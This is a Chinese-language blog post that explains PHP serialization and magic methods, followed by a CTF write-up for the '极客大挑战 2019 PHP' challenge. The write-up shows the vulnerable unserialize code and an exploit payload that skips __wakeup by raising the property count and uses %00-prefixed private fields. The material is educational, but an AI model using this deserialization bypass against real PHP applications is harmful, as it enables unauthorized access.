序列化与反序列化


序列化与反序列化


原理:

参考文章

  • 序列化 (serialize)是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。【将状态信息保存为字符串】
    序列化: 游戏的存档 —— 把当前的状态保存下来
  • 序列化就是将对象的状态信息转为字符串储存起来,那么反序列化就是再将这个状态信息拿出来使用,重新再转化为对象或者其他的。【将字符串转化为状态信息】
    反序列化: 游戏的读档 —— 通过保存下来的信息恢复到当初的状态

魔法函数:

__construct()  具有构造函数的类会在每次创建新对象时先调用此方法 (构造函数)
__destruct() 会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。(析构函数)
__call() 在对象中调用一个不可访问方法时,__call() 会被调用
__callStatic() 在静态上下文中调用一个不可访问方法时,__callStatic() 会被调用。
__get() 读取不可访问属性的值时,__get() 会被调用。
__set() 在给不可访问属性赋值时,__set() 会被调用。
__isset() 当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用。
__unset() 当对不可访问属性调用 unset() 时,__unset() 会被调用。
__sleep() 当对象被serialize() 函数处理前,调用
__wakeup() 当类被unserialize()时调用 __wakeup 方法,预先准备对象需要的资源。
__toString() 该方法用于一个类被当成字符串时应怎样回应
__invoke()  当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用
__set_state()
__clone() 当复制完成时,如果定义了 __clone() 方法,则新创建的对象(复制生成的对象)中的 __clone() 方法会被调用,可用于修改属性的值
__debugInfo()  此方法由var_dump()调用

序列化实例:

class S{
   public $test="bihuoedu";
}
$s=new S(); //创建一个对象
serialize($s); //把这个对象进行序列化
序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:8:"bihuoedu";}
    O:代表object
    1:代表对象名字长度为一个字符
    S:对象的名称
    1:代表对象里面有一个变量
    s:数据类型
    4:变量名称的长度
    test:变量名称
    s:数据类型
    7:变量值的长度
    bihuoedu:变量值

[极客大挑战 2019]PHP 1


ps:一题较为简单的入门序列化题目
刚开始建议是用dirsearch扫描一下,发现有 www.zip 文件,将它下载下来,flag.php里没有什么有用的信息,我们重点分析class.php文件

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

可以看到这里包含了一个flag.php文件在末尾也有echo $flag所以我们重点分析绕过方法,我们的目标是让username=admin和password=100既可以得到flag
在index.php中我们可以看见它以变量select传参,拿到select后会对其进行反序列化,也就是class.php里的内容

<?php
   include 'class.php';
   $select = $_GET['select'];
   $res=unserialize(@$select);
   ?>
  • 过程:进行序列化时它会对username和password进行赋初值nonono和yesyesyes,在上面的魔法函数中我们看到,如果有unserialize函数那么会先调用__wakeup函数这里username又被赋了guest值然后才去调用__construct函数去正式赋值,当程序要结束时会调用__destruct函数,对username和password进行判断输出。

序列化脚本其实就是把那些魔法函数去掉,在把unserialize函数改为serialize函数就行了

<?php
class Name
{
    private $username = "yesyesyes";
    private $password = "nonono";
    public function __construct($username,$password)
    {
        $this->username=$username;
        $this->password=$password;
    }
}
$a = new Name('admin',100);
$b = serialize($a);
echo $b."<br>";
?>

得到结果O:4:”Name”:2:{s:14:”Nameusername”;s:5:”admin”;s:14:”Namepassword”;i:100;}
我们要避免调用__wakeup函数,它会将我们的输入参数给覆盖掉,在反序列化时,当前属性个数大于实际属性个数时,就会跳过__wakeup(),即把Name后面的数字2该为大于2的数字,于是我们这样构造payload:?select=O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
因为username和password是私有变量,变量中的类名前后会有空白符,而复制的时候会丢失,所以要加上%00因此私有字段的字段名在序列化的时候,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度再次更新payload:?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}即可拿到flag


文章作者: 矢坕
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 矢坕 !
  目录